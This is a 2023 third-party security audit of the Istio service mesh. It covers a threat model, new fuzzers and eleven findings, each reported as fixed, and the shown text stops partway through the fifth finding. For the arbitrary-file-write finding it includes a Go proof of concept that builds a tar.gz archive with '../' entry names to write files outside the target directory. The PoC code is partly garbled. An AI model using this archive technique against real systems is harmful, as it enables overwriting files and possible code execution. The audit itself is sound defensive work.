PRESENTS

Istio Security Audit

In collaboration with the Istio projects maintainers and The Open Source Technology Improvement Fund, Inc (OSTIF).

Authors

Adam Korczynski <adam@adalogics.com>
David Korczynski <david@adalogics.com>
Date: 30th January 2023

This report is licensed under Creative Commons Attribution 4.0 International (CC BY 4.0)
# Table of contents

Table of contents  
Executive summary  
Notable findings  
Project summary  
Audit scope  
Overall assessment  
Fuzzing  
Threat model  
Issues found  
Review of fixes for issues from previous audit  
Istio SLSA compliance
Executive summary

In September and October 2022 Ada Logics carried out a security audit of the Istio project. The audit was sponsored by the CNCF and facilitated by OSTIF as a step towards graduation for Istio. The engagement was a holistic security audit that had several high-level goals:

1. Formalise a threat model of Istio to guide the security audit as well as future security audits.
2. Carry out a manual code audit for security issues.
3. Review the fixes for the issues found in an audit from 2020.
4. Review and improve Istio’s fuzzing suite.
5. Perform a SLSA review of Istio.

The audit was started with a kickoff meeting, and following that, Ada Logics had weekly meetings with the Istio team to discuss questions and issues that came out throughout the period of the audit. Found issues were reported as they came up which gave the Istio team time to triage and assess criticality.

Results summarised

6 fuzzers written and added to Istio’s OSS-Fuzz integration

1 CVE found in Golang

1 vulnerability found that affected Googles managed Istio offering

11 issues found
- 5 system resource exhaustion
- 1 arbitrary file write
- 1 missing file close
- 1 certificate skipping
- 1 case unhandled errors
- 1 case of using a deprecated library
- 1 race condition
Notable findings

Issue 10 - “H2c handlers are uncapped” - was an interesting finding, in that it affected Google’s managed Istio offering, and it led to further investigation that revealed a vulnerability in Golang itself. The finding was reported by the auditing team to the Istio maintainers, because Istio does not cap the size of requests made on an h2c connection, which could lead to a denial of service scenario if a large request was sent. This is a vulnerability, however, to be vulnerable, users would need the MultiplexHTTP option configured - used by some managed Istio offerings - which the vast majority of Istio’s users do not have. For that reason, a CVE was not assigned this vulnerability. Some managed service providers were vulnerable to the issue, including Google’s managed Istio offering which has MultiplexHTTP configured.

After issue 10 had been reported to the Istio team, Istio maintainer John Howard assessed Golang’s recommended solution for capping H2c requests which is:

“The first request on an h2c connection is read entirely into memory before the Handler is called. To limit the memory consumed by this request, wrap the result of NewHandler in an http.MaxBytesHandler.”

John found that when the recommended MaxBytesHandler was used, the request body was not fully consumed, meaning that when a server attempts to read HTTP2 frames from the connection it will instead be reading the body. As such, the MaxBytesHandler introduces an http request smuggling attack vector. The issue was disclosed to the Golang security team who fixed the vulnerability and assigned it CVE-2022-41721.
Project summary

Ada Logics auditors

<table>
<thead>
<tr>
<th>Name</th>
<th>Title</th>
<th>Email</th>
</tr>
</thead>
<tbody>
<tr>
<td>Adam Korczynski</td>
<td>Security Engineer</td>
<td><a href="mailto:Adam@adalogics.com">Adam@adalogics.com</a></td>
</tr>
<tr>
<td>David Korczynski</td>
<td>Security Researcher</td>
<td><a href="mailto:David@adalogics.com">David@adalogics.com</a></td>
</tr>
</tbody>
</table>

Istio maintainers involved in the audit

<table>
<thead>
<tr>
<th>Name</th>
<th>Title</th>
<th>Email</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anand Jayaraman</td>
<td>Engineering Leader</td>
<td><a href="mailto:ajayaram@google.com">ajayaram@google.com</a></td>
</tr>
<tr>
<td>Andrea Ma</td>
<td>Software Engineer</td>
<td><a href="mailto:ayma@us.ibm.com">ayma@us.ibm.com</a></td>
</tr>
<tr>
<td>Craig Box</td>
<td>VP of Open Source and Community</td>
<td><a href="mailto:craigb@armosec.io">craigb@armosec.io</a></td>
</tr>
<tr>
<td>Didier Grelin</td>
<td>Sr. Technical Program Manager</td>
<td><a href="mailto:dgrelin@google.com">dgrelin@google.com</a></td>
</tr>
<tr>
<td>Ethan Jackson</td>
<td>Staff Engineer</td>
<td><a href="mailto:jethan@google.com">jethan@google.com</a></td>
</tr>
<tr>
<td>Francis Zhou</td>
<td>Senior Technical Program Manager</td>
<td><a href="mailto:francisz@google.com">francisz@google.com</a></td>
</tr>
<tr>
<td>Greg Hanson</td>
<td>Software Engineer</td>
<td><a href="mailto:gregory.hanson@solo.io">gregory.hanson@solo.io</a></td>
</tr>
<tr>
<td>Jacob Delgado</td>
<td>Software Engineer</td>
<td><a href="mailto:jacob.delgado@aspenmesh.io">jacob.delgado@aspenmesh.io</a></td>
</tr>
<tr>
<td>John Howard</td>
<td>Staff Software Engineer</td>
<td><a href="mailto:howardjohn@google.com">howardjohn@google.com</a></td>
</tr>
<tr>
<td>Justin Pettit</td>
<td>Senior Staff Engineer</td>
<td><a href="mailto:jdpettit@google.com">jdpettit@google.com</a></td>
</tr>
<tr>
<td>Lei Tang</td>
<td>Technical Lead</td>
<td><a href="mailto:leitang@google.com">leitang@google.com</a></td>
</tr>
<tr>
<td>Neelima Balakrishnan</td>
<td>Software Engineering Manager</td>
<td><a href="mailto:neelimabk@google.com">neelimabk@google.com</a></td>
</tr>
<tr>
<td>Shankar Ganesan</td>
<td>Software Engineer</td>
<td><a href="mailto:shankgan@google.com">shankgan@google.com</a></td>
</tr>
</tbody>
</table>

OSTIF

ADA Logics
<table>
<thead>
<tr>
<th>Name</th>
<th>Title</th>
<th>Email</th>
</tr>
</thead>
<tbody>
<tr>
<td>Amir Montazery</td>
<td>Managing Director</td>
<td><a href="mailto:Amir@ostif.org">Amir@ostif.org</a></td>
</tr>
<tr>
<td>Derek Zimmer</td>
<td>Executive Director</td>
<td><a href="mailto:Derek@ostif.org">Derek@ostif.org</a></td>
</tr>
</tbody>
</table>

**Project Timeline**

Events and milestones of the audit.

- **September 19 2022**  Kick-off meeting
- **September 26 2022**  Status meeting #1
- **September 29 2022**  Doc with issues shared with the Istio team. Subsequent issues added ad-hoc to the same doc.
- **October 3 2022**    Status meeting #2
- **October 10 2022**   Status meeting #3
- **October 17 2022**   Status meeting #4
- **December 15 2022**  All issues have been fixed
# Audit scope

The following assets were in scope of the audit.

## Istio main repository

<table>
<thead>
<tr>
<th>Repository</th>
<th><a href="https://github.com/istio/istio">https://github.com/istio/istio</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>Language</td>
<td>Golang</td>
</tr>
</tbody>
</table>

## Istio API definitions

<table>
<thead>
<tr>
<th>Repository</th>
<th><a href="https://github.com/istio/api">https://github.com/istio/api</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>Language</td>
<td>Golang</td>
</tr>
</tbody>
</table>

## Istio documentation

<table>
<thead>
<tr>
<th>Repository</th>
<th><a href="https://github.com/istio/istio.io">https://github.com/istio/istio.io</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>Language</td>
<td>n/a; documentation only</td>
</tr>
</tbody>
</table>
Overall assessment

Our evaluation is that Istio is a well-maintained project that has a strong and sustainable approach to security. The project follows a high level of industry standards in dealing with security. In particular, it is worth highlighting that:

- The Istio Product Security Working Group responds swiftly to security disclosures.
- The documentation on the project’s security is comprehensive, well-written and up to date.
- Security vulnerability disclosures follow industry standards and security advisories are clear and detailed.
- Security fixes include regression tests.

After the manual auditing commenced, the auditing team found that the Istio team had prioritised security-sensitive parts of Istio in favour of non-security-sensitive parts. Some components that are particularly exposed had been tediously audited, whereas other components had practically been left unaudited. There are pros and cons to this. On the positive side, it shows that the Istio maintainers have a clear understanding of which parts of Istio should be prioritised. This is already a great foundation for a secure product, and it demonstrates that the Istio community has formulated a threat model that is used to assess which parts of Istio are particularly exposed. In this audit, Ada Logics confirmed that there is a strong correlation between the parts that the Istio security team prioritises and the parts that we found to be specially exposed. However, we found that some less exposed parts of Istio had several issues. In particular, the Istio Operator was found to have multiple security and reliability issues. This is already well known to the Istio maintainers, and the documentation also mentions this:

1 https://istio.io/latest/docs/setup/install/operator/
It was also stated by the Istio maintainers throughout the audit that the Operator was known to be under-maintained in terms of security. Nevertheless, the operator has not been fully deprecated and is likely used in production by the community which makes some users prone to security issues.

Furthermore, successful cyber attacks can and do have their entry point in less security-critical parts of software systems. Attackers can be highly creative in using the slightest advantages, and such advantages can be obtained in parts of codebases that receive less attention.

Our assessment is that, not counting the Operator, Istio is a very well-maintained and secure project with a sound codebase, well-established security practices and a responsive product security team.
The second goal of the audit was to assess and improve the fuzz test suite of Istio. During the initial assessment, the Ada Logics auditing team reviewed the existing fuzzing set up. At the start of the audit, we made the following observations:

- Istio is integrated into OSS-Fuzz with 63 fuzzers running continuously.
- All fuzzers are hosted in the Istio repository along with the OSS-Fuzz build script.
- The OSS-Fuzz build is maintained to avoid disruption.
- Istio does not run the fuzzers in its CI pipeline.

Istio has had its fuzzing suite for around a year and has previously found high severity security issues such as CVE-2022-23635 along with dozens of reliability issues. As such, Istio benefits largely from having a substantial fuzz test suite that runs continuously on OSS-Fuzz.

Ada Logics started the fuzzing assessment by prioritising security-critical parts of Istio. We found that many of these had impressive test coverage with little to no room for improvement. We identified a few APIs in security-critical code parts that would benefit from fuzzing and wrote fuzzers for these.

In total, 6 fuzzers were written during this audit and all have been merged into the upstream Istio repository.

<table>
<thead>
<tr>
<th>#</th>
<th>Name</th>
<th>Package</th>
<th>Link</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>FuzzWriteTo</td>
<td>istio.io/istio/pkg/bootstrap</td>
<td><img src="https://github.com/istio/istio/blob/65478ea812720cea6b568974aff700ae907312/pkg/bootstrap/fuzz_test.go#L26" alt="GitHub Link" /></td>
</tr>
<tr>
<td>2</td>
<td>FuzzRunTemplate</td>
<td>istio.io/istio/pkg/kube/inject</td>
<td><img src="https://github.com/istio/istio/blob/65478ea812720cea6b568974aff700ae907312/pkg/kube/inject/fuzz_test.go#L23" alt="GitHub Link" /></td>
</tr>
<tr>
<td>3</td>
<td>FuzzReadCACert</td>
<td>istio.io/istio/security/pkg/k8s/chiron</td>
<td><img src="https://github.com/istio/istio/blob/65478ea812720cea6b568974aff700ae907312/security/pkg/k8s/chiron/fuzz_test.go#L22" alt="GitHub Link" /></td>
</tr>
<tr>
<td>4</td>
<td>FuzzIstioCASign</td>
<td>istio.io/istio/security/pkg/pki/ca</td>
<td><img src="https://github.com/istio/istio/blob/65478ea812720cea6b568974aff700ae907312/security/pki/ca/fuzz_test.go#L24" alt="GitHub Link" /></td>
</tr>
<tr>
<td>5</td>
<td>FuzzValidateCSR</td>
<td>istio.io/istio/security/pkg/pki/ra</td>
<td><img src="https://github.com/istio/istio/blob/65478ea812720cea6b568974aff700ae907312/security/pki/ra/fuzz_test.go#L23" alt="GitHub Link" /></td>
</tr>
</tbody>
</table>
The fuzzers were merged ad-hoc so they could run throughout the audit. At the time of the end of the audit, the these are the stats of the fuzzers:

<table>
<thead>
<tr>
<th>Fuzzer</th>
<th>Total executions</th>
<th>Total hours of execution</th>
</tr>
</thead>
<tbody>
<tr>
<td>FuzzWriteTo</td>
<td>78,576,767</td>
<td>150.3</td>
</tr>
<tr>
<td>FuzzRunTemplate</td>
<td>925,533,849</td>
<td>103.5</td>
</tr>
<tr>
<td>FuzzReadCACert</td>
<td>39,734,279</td>
<td>91.8</td>
</tr>
<tr>
<td>FuzzIstioCASign</td>
<td>1,813,273,728</td>
<td>119.7</td>
</tr>
<tr>
<td>FuzzValidateCSR</td>
<td>148,397,875</td>
<td>98.4</td>
</tr>
<tr>
<td>FuzzBuildSecurityCaller</td>
<td>10,694,589</td>
<td>111.1</td>
</tr>
</tbody>
</table>
Threat model

Istio is a service mesh which is an infrastructure layer applicable to software applications. Istio is platform and language agnostic, but is often used on top of Kubernetes. It offers users easy access to features such as observability, traffic management and security without requiring users to add these to their application code. It also offers more advanced features to support A/B testing, canary deployments, rate limiting, access control, encryption and end-to-end authentication.

Istio itself is implemented in Go which shields the project from memory-unsafe implementation issues such as buffer overflow and use-after-free issues. Envoy - which plays a core role in the Istio service mesh - is implemented in C++ and memory-corruption issues can therefore have negative impact on the Istio service mesh which is exemplified with ISTIO-SECURITY-2019-007 which was a security vulnerability in Istio with root cause from a heap buffer overflow in Envoy. Istio is vulnerable to other types of implementation issues in the Go programming language such as NULL-pointers, out-of-bounds, race conditions, resource exhaustion issues and other issues stemming from improper usage of the language.

Istio consists of two components: The controlplane and the dataplane. The data plane handles the connection between services and forms a series of proxies deployed as sidecars. The proxies consist of Envoy proxies and an Istio-agent and manage network traffic between microservices. The control plane is responsible for applying user configuration to the proxies. The following diagram demonstrates the Istio architecture:
Trust boundaries

We identify the following trust boundaries:

<table>
<thead>
<tr>
<th>From</th>
<th>Into</th>
<th>Trust flow</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Outside of cluster</td>
<td>Ingress Sidecar or Ingress Gateway</td>
<td>Low to high</td>
<td>Ingress traffic can have the lowest level of privilege. As it enters the mesh it crosses a trust boundary.</td>
</tr>
<tr>
<td>Ingress Sidecar or Ingress Gateway</td>
<td>Proxy</td>
<td>Low to high</td>
<td>Traffic flowing from Ingress Sidecar or Ingress Gateway to a Proxy might be required to pass further security policies.</td>
</tr>
<tr>
<td>Proxy</td>
<td>Service</td>
<td>Low to high</td>
<td>Incoming traffic to proxy can be coming from outside the cluster and is validated against the specified policies before it reaches the service. The traffic crosses a trust boundary as it passes the proxy.</td>
</tr>
<tr>
<td>Controlplane</td>
<td>Dataplane</td>
<td>High to low</td>
<td>Policies are created by users with privileges. The policies are propagated to the dataplane.</td>
</tr>
<tr>
<td>Egress Sidecar</td>
<td>External Apis</td>
<td>High to low</td>
<td>Traffic leaving the dataplane for external APIs.</td>
</tr>
</tbody>
</table>

Security Components

One of the advantages of using Istio is that it offers a series of security features related to identity, policies, TLS encryption, authentication, authorization and internal auditing to enhance the security in the mesh. Istio’s security components are especially exposed, as they handle and validate requests from unauthenticated sources. These components need to be robust enough to defend against a series of threats. Istio’s security components are documented in detail here: [https://istio.io/latest/docs/concepts/security](https://istio.io/latest/docs/concepts/security). There are a number of ways an attacker would seek to exceed their trust boundaries including authentication bypass, reading sensitive information, writing files to the underlying file system, exploiting logical errors. The security components have limited functionality, and it should not be possible to force these to exceed this functionality to exceed trust boundaries. Each components limited
functionality is documented here: https://istio.io/latest/docs/concepts/security, and for the ease of reading this report, we list them below:

- Certificate management
- Authentication
- Authorization
- Policy Enforcement Points (PEPs)
- A set of Envoy proxy extensions to manage telemetry and auditing

**Certificate management**

Alongside each Envoy proxy, an instance of the Istio agent is located and communicates with Istiod to automate key and certificate rotation, like so:

Istio-agent has two functions:

1. To receive SDS requests from Envoy and send certificate signing requests to the CA which typically is Istiod.
2. To receive ADS requests from Envoy and forward these to the specified discovery server which typically is Istiod.

Istiod handles certificate signing requests via the IstioCAServiceServer which is created in https://github.com/istio/istio/blob/346260e5115e9fbc65ba8a559bc686e6ca046a32/security/pkg/server/ca/server.go#L136:
Authentication
Authentication policies are specified by mesh administrators. Istiod propagates the policies to the proxies and checks whether the policy of each proxy is up to date. Authentication has two core features in Istio:

1. Peer authentication: used for service-to-service authentication to verify the client making the connection.
2. Request authentication: Used for end-user authentication to verify the credential attached to the request.

Authorization
Istio allows users to create authorization policies to specify mesh-, namespace-, and workload-wide access control for workloads in the mesh. Authorization policies are created by users and are enforced at runtime using Envoy’s built-in authorization engine. Incoming requests are passed to Envoy that then evaluate the request based on the Istio administrators specified authorization policies. Requests are treated by Envoy with either ALLOW or DENY.

Policy Enforcement Points
Istio authenticates traffic between workloads with mTLS.
Threat actors
In this part of the threat model we identify threat actors that may impact the security posture of Istio.

Internal attacker
An entity with some level of privilege that would seek to exceed one or more trust boundaries. This could be a user that has been granted limited cluster privileges and seeks to perform harmful actions they should not have actions to perform. This user may have permission to perform certain harmful actions, and security actions arise when they are able to cause harm they are not supposed to have permission to cause.

Contributors to Istio
Istio is an open source project that accepts contributions from any user, vulnerabilities could be introduced innocently or on purpose to Istio. Contributors could harm Istio by attempting to intentionally introduce vulnerable code and subsequently exploit it.

Contributors to 3rd party dependencies
Istio uses open source 3rd party dependencies that may impact the security of Istio. Istio's dependencies may be used by malicious attackers to exceed their trust boundaries in Istio. This could be done by adding vulnerabilities on purpose or by accident. This threat actor can - similarly to contributors to Istio itself - seek to commit vulnerable code into the source tree of dependencies of Istio to subsequently exploit it.

Untrusted users
Istio will often be deployed with the purpose of accepting untrusted input into the service mesh. Untrusted users are the users with the lowest level of privilege of Istio's threat actors and may seek to cause harm by exceeding their trust boundaries. Untrusted traffic enters the Istio service mesh as ingress traffic through an ingress Gateway.

Attack surface enumeration
Any elevation of privilege in Istio is considered a security issue. An elevation of privilege should be compared to how the user has configured Istio. If a threat actor is to exceed the trust boundaries they have been granted by way of the set of configurations, there is reason to believe this happens through a security vulnerability in the Istio code base. On the other hand, if the user configures Istio insecurely, this does not represent a security issue but a user issue.

There are two groups that can escalate their privileges in Istio:
1. Fully untrusted users that send traffic to the cluster through the ingress Gateway.
2. Partially trusted users that have been granted a level of privilege and that are able to escalate to higher privileges.

There are a number of areas where either group could exceed their assumed privilege boundaries. We enumerate these below:

**Policy Enforcement Points**
Anytime a policy is enforced, an attacker has the potential to circumvent the configured policies.

It is Istio's assumption that default settings are secure, and insecure default settings would be considered a security issue. Policy enforcement points must securely enforce the configured policy, and must also not be susceptible to vulnerabilities not specifically related to policy enforcement. For example, an attacker may seek to bypass authentication from an issue in policy enforcement, but policy enforcement points might also be vulnerable to Denial of Service attacks leading to compromise of Istio's overall availability.

**Kubernetes**
Istio extends Kubernetes and is exposed to vulnerabilities in Kubernetes itself. Simultaneously, Istio must extend Kubernetes properly and may contain vulnerabilities in failing to do so.

**Ingress Resources**
Istio offers two models for managing ingress traffic to the cluster:

1. The Kubernetes ingress resource
2. Istio Gateway

These resources are exposed to the outside world and represent the first point of contact by fully untrusted input. Any compromise of availability and integrity would be a violation of Istio's security posture.

**Security best practices**
Istio maintains a guide on security best practices which we recommend all users follow: [https://istio.io/latest/docs/ops/best-practices/security/](https://istio.io/latest/docs/ops/best-practices/security/). The guide iterates over known threat vectors in Istio and provides direct ways to mitigate these.
**Issues found**

In total, the audit found 11 security issues in Istio.

<table>
<thead>
<tr>
<th>#</th>
<th>Name</th>
<th>Severity</th>
<th>Difficulty</th>
<th>Fixed</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Possible disk exhaustion when extracting archive file</td>
<td>Medium</td>
<td>High</td>
<td>Yes</td>
</tr>
<tr>
<td>2</td>
<td>Arbitrary file write during archive extraction</td>
<td>Medium</td>
<td>High</td>
<td>Yes</td>
</tr>
<tr>
<td>3</td>
<td>File left opened</td>
<td>Medium</td>
<td>High</td>
<td>Yes</td>
</tr>
<tr>
<td>4</td>
<td>Length of new byte slice controlled by potentially untrusted file size</td>
<td>Low</td>
<td>High</td>
<td>Yes</td>
</tr>
<tr>
<td>5</td>
<td>Possible memory exhaustions in http utilities</td>
<td>Low</td>
<td>Medium</td>
<td>Yes</td>
</tr>
<tr>
<td>6</td>
<td>Istio skips certificate verification</td>
<td>Low</td>
<td>High</td>
<td>Yes</td>
</tr>
<tr>
<td>7</td>
<td>Unhandled errors</td>
<td>Informational</td>
<td>n/a</td>
<td>Yes</td>
</tr>
<tr>
<td>8</td>
<td>Use of deprecated 3rd party library</td>
<td>Low</td>
<td>High</td>
<td>Yes</td>
</tr>
<tr>
<td>9</td>
<td>TOCTOU race conditions in file utils</td>
<td>Medium</td>
<td>High</td>
<td>Yes</td>
</tr>
<tr>
<td>10</td>
<td>H2c handlers are uncapped</td>
<td>High</td>
<td>High</td>
<td>Yes</td>
</tr>
<tr>
<td>11</td>
<td>STS server is susceptible to DoS if debug mode is enabled</td>
<td>High</td>
<td>Medium</td>
<td>Yes</td>
</tr>
</tbody>
</table>
1: Possible disk exhaustion when extracting archive file

<table>
<thead>
<tr>
<th>Severity: Medium</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: Yes</td>
<td>Affected components:</td>
</tr>
<tr>
<td></td>
<td>● Istio operator</td>
</tr>
</tbody>
</table>

Vectors:

● CWE-400: Uncontrolled Resource Consumption
● CWE-770: Allocation of Resources Without Limits or Throttling

ID: ADA-IST-1

Fix: https://github.com/istio/istio/pull/41705

Description
The Operator Helm URL Fetcher has a possible disk exhaustion vulnerability. If the chart is bigger than the available disk space, a Denial-of-Service scenario would happen.

Case 1
https://github.com/istio/istio/blob/d86fa8b48356c92b6c73b5831c18df893a4ae861/operator/pkg/helm/urlfetcher.go#L89

```go
func (f *URLFetcher) Fetch() error {
    if _, _, err := URLToDirname(f.url); err != nil {
        return err
    }
    saved, err := DownloadTo(f.url, f.destDirRoot)
    if err != nil {
        return err
    }
    reader, err := os.Open(saved)
    if err != nil {
        return err
    }
    defer reader.Close()
    return tgz.Extract(reader, f.destDirRoot)
}
```

Case 2
This will run out of memory before disk space. See issue 5 case 1.

```go
// DownloadTo downloads from remote srcURL to dest local file path
```
Exploitation

To exploit this, a fair level of privilege is required. The contents of the URL being fetched/uncompressed are directly applied to the Kubernetes cluster.
2: Arbitrary file write during archive extraction

<table>
<thead>
<tr>
<th>Severity: Medium</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: Yes</td>
<td>Affected components:</td>
</tr>
<tr>
<td></td>
<td>• Istio operator</td>
</tr>
</tbody>
</table>

Vectors
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-23: Relative Path Traversal
- CWE-36: Absolute Path Traversal

ID: ADA-IST-2
Fix: [https://github.com/istio/istio/pull/41786](https://github.com/istio/istio/pull/41786)

Description
The Helm chart fetching and extraction logic of the Istio Operator has an out-of-bounds file write vulnerability. If the Operator runs with high privileges, this could lead to remote code execution. Even without sudo privileges, the vulnerability could have multiple attack vectors.

The root cause of the vulnerability is that `tgz.Extract()` does not sanitise file paths which may lead to writing to arbitrary file paths.

A header.Name containing patterns such as `..` could traverse the file system and perform out of bounds file writes.

[https://github.com/istio/istio/blob/d0705cf0ed5591cc26c08001f3faab0a880aec48/operato
r/pkg/util/tgz/tgz.go#L70](https://github.com/istio/istio/blob/d0705cf0ed5591cc26c08001f3faab0a880aec48/operato
r/pkg/util/tgz/tgz.go#L70)

```go
func Extract(gzipStream io.Reader, destination string) error {
    uncompressedStream, err := gzip.NewReader(gzipStream)
    if err != nil {
        return fmt.Errorf("create gzip reader: %v", err)
    }

    tarReader := tar.NewReader(uncompressedStream)

    for {
        header, err := tarReader.Next()
        if err == io.EOF {
            break
        } else if err != nil {
```
PoC

A complete PoC is available below that demonstrates how the vulnerability could be exploited.

Copy the file contents to a `main.go` file and run it with `go run main.go`. **Careful:** This will overwrite files on the system.

```go
package main

import (  
    "archive/tar"  
    "bytes"  
    "compress/gzip"  
    "fmt"
)
```
var (  
    fileName          = "malicious_file"   //  
    pathTraversals     = "../"             //  
    maliciousFilename = fmt.Sprintf("%s%s", pathTraversal, fileName) //  
                    The filename in the tar archive  
    fileData          = "malicious file data22"  //  
                    The file data  
    destination       = "/home/adam/Documents" //  
                    The "destination" parameter to  
    )          https://github.com/istio/istio/blob/master/operator/pkg/util/tgz/tgz.go#L70  
func createMaliciousGzip() io.Reader {  
gzw := new(bytes.Buffer)  
    // Create tar writer  
tw := tar.NewWriter(gzw)  
defer tw.Close()  
    // Create a file  
f, err := os.Create(fileName)  
    if err != nil {  
        panic(err)  
    }  
f.Write([]byte(fileData))  
f.Close()  
    // Get FileInfo  
    fi, err := os.Stat(fileName)  
    if err != nil {  
        panic(err)  
    }  
    // Create header  
    header, err := tar.FileInfoHeader(fi, fi.Name())  
    if err != nil {  
        panic(err)  
    }  
    // Modify filename in header  
    header.Name = maliciousFilename
// Write header to Tar
if err := tw.WriteHeader(header); err != nil {
    panic(err)
}

// Open file to read it
f2, err := os.Open(fileName)
if err != nil {
    panic(err)
}

// Copy file data into tar writer
if _, err = io.Copy(tw, f2); err != nil {
    panic(err)
}

// Compress the tar archive
maliciousBytes := new(bytes.Buffer)
w := gzip.NewWriter(maliciousBytes)
w.Write(gzw.Bytes())
w.Close()
return bytes.NewReader(maliciousBytes.Bytes())
}

gzip := createMaliciousGzip()

// Below is a minimized version of
https://github.com/istio/istio/blob/master/istio/op/pkg/util/tgz/tgz.go#L70
uncompressedStream, err := gzip.NewReader(maliciousGzip)
if err != nil {
    panic(err)
}
tarReader := tar.NewReader(uncompressedStream)

for {
    header, err := tarReader.Next()
    if err == io.EOF {
        break
    }
    if err != nil {
        return
    }
    dest := filepath.Join(destination, header.Name)
    // Now Istio will create the file
    fmt.Println("dest: ", dest)
Exploitation
The tar extraction is used for archives being fetched from URLs that are directly applied to a cluster, and some level of privilege is required to perform this attack.
3: File left opened

<table>
<thead>
<tr>
<th>Severity: Medium</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: Yes</td>
<td>Affected components:</td>
</tr>
<tr>
<td></td>
<td>● Istio operator</td>
</tr>
</tbody>
</table>

Vectors:
● CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

ID: ADA-IST-3
Fix: https://github.com/istio/istio/pull/41786

Description
If execution goes into this branch, outFile is not closed:
https://github.com/istio/istio/blob/d0705cf0ed5591cc26c08001f3faab0a880aec48/operator/pkg/util/tgz/tgz.go#L107

```go
outFile, err := os.Create(dest)
if err != nil {
    return fmt.Errorf("create: %v", err)
}
if _, err := io.Copy(outFile, tarReader); err != nil {
    return fmt.Errorf("copy: %v", err)
}
outFile.Close()
```

Exploitation
An attacker could exploit this by forcing Istio to open a large number of files and thus exhaust system resources resulting in Denial of Service.
Istio Security Audit, 2023

4: Length of new byte slice controlled by potentially untrusted file size

<table>
<thead>
<tr>
<th>Severity: Low</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: Yes</td>
<td>Affected components:</td>
</tr>
<tr>
<td></td>
<td>● pkg/wasm</td>
</tr>
</tbody>
</table>

Vectors:
- CWE-400: Uncontrolled Resource Consumption
- CWE-770: Allocation of Resources Without Limits or Throttling

ID: ADA-IST-4

Fix: [https://github.com/istio/istio/pull/41894](https://github.com/istio/istio/pull/41894)

Description
The WASM fetchers allocate byte slices of a length determined by potentially untrusted data. This could lead to large byte slices being created that exceed the available memory.

```
// wasm plugin should be the only file in the tarball.
func getFirstFileFromTar(b []byte) []byte {
    buf := bytes.NewBuffer(b)
    tr := tar.NewReader(buf)
    h, err := tr.Next()
    if err != nil {
        return nil
    }
    ret := make([]byte, h.Size)
    _, err = io.ReadFull(tr, ret)
    if err != nil {
        return nil
    }
    return ret
}
```

```
func extractWasmPluginBinary(r io.Reader) ([]byte, error) {
```
gr, err := gzip.NewReader(r)
if err != nil {
    return nil, fmt.Errorf("failed to parse layer as tar.gz: %v", err)
}

// The target file name for Wasm binary.
const wasmPluginFileName = "plugin.wasm"

// Search for the file walking through the archive.
tr := tar.NewReader(gr)
for {
    h, err := tr.Next()
    if err == io.EOF {
        break
    } else if err != nil {
        return nil, err
    }
    ret := make([]byte, h.Size)
    if filepath.Base(h.Name) == wasmPluginFileName {
        _, err := io.ReadFull(tr, ret)
        if err != nil {
            return nil, fmt.Errorf("failed to read %s: %v", wasmPluginFileName, err)
        }
        return ret, nil
    }
}
return nil, fmt.Errorf("%s not found in the archive", wasmPluginFileName)

**Exploitation**

An attacker would need to make Istio fetch a tar archive containing a large file. This is fairly low effort. The URL that the tar archive is downloaded from has a high level of trust, and exploitation is therefore difficult.
5: Possible memory exhaustions in http utilities

<table>
<thead>
<tr>
<th>Severity: Low</th>
<th>Difficulty: Medium</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: Yes</td>
<td>Affected components:</td>
</tr>
<tr>
<td></td>
<td>● pkg/wasm</td>
</tr>
<tr>
<td></td>
<td>● Istio operator</td>
</tr>
</tbody>
</table>

Vectors:
- CWE-400: Uncontrolled Resource Consumption
- CWE-770: Allocation of Resources Without Limits or Throttling

ID: ADA-IST-5

Fix: [https://github.com/istio/istio/pull/41894](https://github.com/istio/istio/pull/41894)

**Description**
Istio has several cases of reading data with `io.ReadAll()` without enforcing a limit. This can lead to system resource exhaustion if a large byte buffer is read into memory.

**Case 1**
A general Get function that makes an http request and reads the entire response into memory:
[https://github.com/istio/istio/blob/ed2de8c50dab2b10bdd165a2b2d2349d6d0eaeb6/operator/pkg/httprequest/httprequest.go#L33](https://github.com/istio/istio/blob/ed2de8c50dab2b10bdd165a2b2d2349d6d0eaeb6/operator/pkg/httprequest/httprequest.go#L33)

```go
// Get sends an HTTP GET request and returns the result.
func Get(url string) ([]byte, error) {
    resp, err := http.Get(url)
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()
    if resp.StatusCode != http.StatusOK {
        return nil, fmt.Errorf("failed to fetch URL %s : %s", url, resp.Status)
    }
    ret, err := io.ReadAll(resp.Body)
    if err != nil {
        return nil, err
    }
    return ret, nil
}
```

**Case 2**
(f *HTTPFetcher).Fetch() downloads a WASM module with HTTP.Get().

```go
// Fetch downloads a wasm module with HTTP get.
func (f *HTTPFetcher) Fetch(ctx context.Context, url string, allowInsecure bool) ([]byte, error) {
    c := f.client
    if allowInsecure {
        c = f.insecureClient
    }
    attempts := 0
    o := backoff.DefaultOption()
    o.InitialInterval = f.initialBackoff
    b := backoff.NewExponentialBackOff(o)
    var lastError error
    for attempts < f.requestMaxRetry {
        attempts++
        if err != nil {
            wasmLog.Debugf("wasm module download request failed: %v", err)
            return nil, err
        }
        req := c.Do(req)
        if err != nil {
            lastError = err
            wasmLog.Debugf("wasm module download request failed: %v", err)
            if ctx.Err() != nil {
                // If there is context timeout, exit this loop.
                return nil, fmt.Errorf("wasm module download failed after %v attempts, last error: %v", attempts, lastError)
            }
            time.Sleep(b.NextBackOff())
            continue
        }
        if resp.StatusCode == http.StatusOK {
            body, err := io.ReadAll(resp.Body)
            resp.Body.Close()
            return unboxIfPossible(body), err
        }
        lastError = fmt.Errorf("wasm module download request failed: status code %v", resp.StatusCode)
    }
    if retryable(resp.StatusCode) {
        body, _ := io.ReadAll(resp.Body)
